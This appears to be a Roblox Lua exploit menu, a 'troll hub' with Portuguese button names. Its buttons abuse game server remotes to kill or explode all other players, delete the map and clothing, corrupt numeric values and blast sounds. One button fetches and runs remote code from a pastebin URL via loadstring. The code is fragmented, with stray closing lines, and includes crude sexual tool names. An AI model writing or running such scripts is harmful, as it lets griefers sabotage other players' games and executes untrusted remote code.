game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroyable=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(0,30,10),Size={X=1.198,Y=27.079,Z=0.857}})
```

```
game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroyable=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(15,36.8,10),Size={X=1,Y=14.893,Z=0.857}})
```

```
end)
```

```
local Button = script.Parent.SoundButton
```

```
Button.MouseButton1Down:Connect(function()
```

```
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)
```

```
    sound = true
```

```
    local ID = "rbxassetid://5647277440"
```

```
    local Name = "xd"
```

```
    local Volume = 100
```

```
    local Pitch = 1
```

```
    for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
```

```
        if v:IsA("RemoteEvent") and v.Name == "AC6_FE_Sounds" then
```

```
            if sound == true then
```

```
                v:FireServer("newSound", Name, workspace, ID, Pitch,
```

```
Volume, true)
```

```
                v:FireServer("playSound", Name)
```

```
            end
```

```
            if sound == false then
```

```
                v:FireServer("stopSound", Name)
```

```
            end
```

```
        end
```

```
    end
```

```
end)
```

```

local Button = script.Parent.DeletarMapaButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    local rmt = game:service'ReplicatedStorage':FindFirstChild("DeleteCar")
    for i,v in next, workspace:GetChildren() do
        rmt:FireServer(v)
    end

end)

local Button = script.Parent.DeletarRoupaButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    local rmt = game:service'ReplicatedStorage':FindFirstChild("DeleteCar")
    for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
        if v:IsA("Shirt") or v:IsA("Pants") then
            rmt:FireServer(v)
        end
    end

end)

local Button = script.Parent.Explodeacs1Button

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    local rem,_t,players =
game:GetService("ReplicatedStorage").ACS_Engine.Eventos.Hit,{ExplosiveHit=true,ExPres
sure=math.huge,ExpRadius=math.huge,DestroyJointRadiusPercent=math.huge,ExplosionD
amage=math.huge},game:GetService('Players')

    for i,v in next, players:GetPlayers() do
        local ppart = v['Character'].PrimaryPart
        pcall(function()

rem:FireServer(ppart.Position,ppart,ppart.Position,Enum.Material.ForceField,_t)
        end)
    end
end)

```

```
end)

local Button = script.Parent.FulltrollButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    loadstring(game:HttpGetAsync("https://pastebin.com/raw/A34Z7gMx"))()

end)

local Button = script.Parent.HubtrollebButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    print('Voce esqueceu dnv de colocar a merda do script aqui')

end)

local Button = script.Parent.IntValueNumberValueButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    local Evt_R =
game:service('ReplicatedStorage')['ACS_Engine'].Events:FindFirstChild("Refil")
    local Quant = -99999999999999000999

    for i,v in pairs(game:GetDescendants()) do
        if v:IsA("IntValue") or v:IsA("NumberValue") then
            Evt_R:FireServer(v,-(Quant-v.Value))
        end
    end

end)

local Button = script.Parent.KillallButtonacs1Button

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

    local d = 200
    local p = game.Players.LocalPlayer.Name
```

```

    Players = game:GetService("Players")
    for i, player in pairs(Players:GetPlayers()) do
        if player.Name ~= p then
            local tbl_main =
                {

game:GetService("Workspace")[player.Name].Humanoid,
                    d,
                    0,
                    0
                }

game:GetService("ReplicatedStorage")["ACS_Engine"].Eventos.Damage:FireServer(unpack
(tbl_main))

            end
        end

    end)

    local Button = script.Parent.Killallacs2Button

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        while not game:IsLoaded() do wait() end
        local plr = game.Players.LocalPlayer
        local evt = game.ReplicatedStorage.ACS_Engine.Events

        local dmg = evt.Damage
        local id = evt.AcessId:InvokeServer(plr.UserId).."-"..plr.UserId

        local gun,data
        for i,v in next, game:GetDescendants() do
            if v:IsA("Tool") and v:FindFirstChild("ACS_Settings") then
                gun,data = v,require(v.ACS_Settings); break
            end
        end

        local mod = {
            DamageMod      = 0,
            minDamageMod   = 200
        }

        function node(hum, thr)
            task.wait()
            pcall(dmg.InvokeServer,dmg,gun,hum,1,1,data,mod,nil,nil,id)
            coroutine.resume(thr, hum.Parent)
        end
    end)

```

```

        end

    end)

    local Button = script.Parent.ToolDestruirButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        local Mouse = game.Players.LocalPlayer:GetMouse()

        local Tool = Instance.new('Tool',game.Players.LocalPlayer.Backpack)
        Tool.CanBeDropped = false
        Tool.Name = "Sexo com sua tia"
        Tool.RequiresHandle = false

        local rmt = game:GetService("ReplicatedStorage").DeleteCar

        Tool.Activated:connect(function()
            rmt:FireServer(Mouse.Target)
        end)

    end)

    local Button = script.Parent.ToolPintarButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        local playerMouse = game:GetService('Players').LocalPlayer:GetMouse()

        local Material = Enum.Material.DiamondPlate
        local Transparency = 0.3

        local Tool = Instance.new('Tool',
game:GetService('Players').LocalPlayer.Backpack)
        Tool.RequiresHandle = false
        Tool.CanBeDropped = false
        Tool.Name = 'Sexo com sua mae'

        for i,v in pairs(game:GetService('Workspace'):GetDescendants()) do
            if v:IsA('RemoteEvent') and v.Name == 'Lights_FE' or v.Name ==
'FE_Lights' then
                Tool.Activated:Connect(function()
                    local args = {
                        [1] = 'UpdateLight',

```

```
                [2] = playerMouse.Target,
                [3] = Material,
                [4] = BrickColor.new(161, 165, 162),
                [5] = Transparency,
                [6] = true,
                [7] = 15
            }
            v:FireServer(unpack(args))
        end)
    end
end

end)
end
coroutine.wrap(MNUUFEZ_fake_script)()
```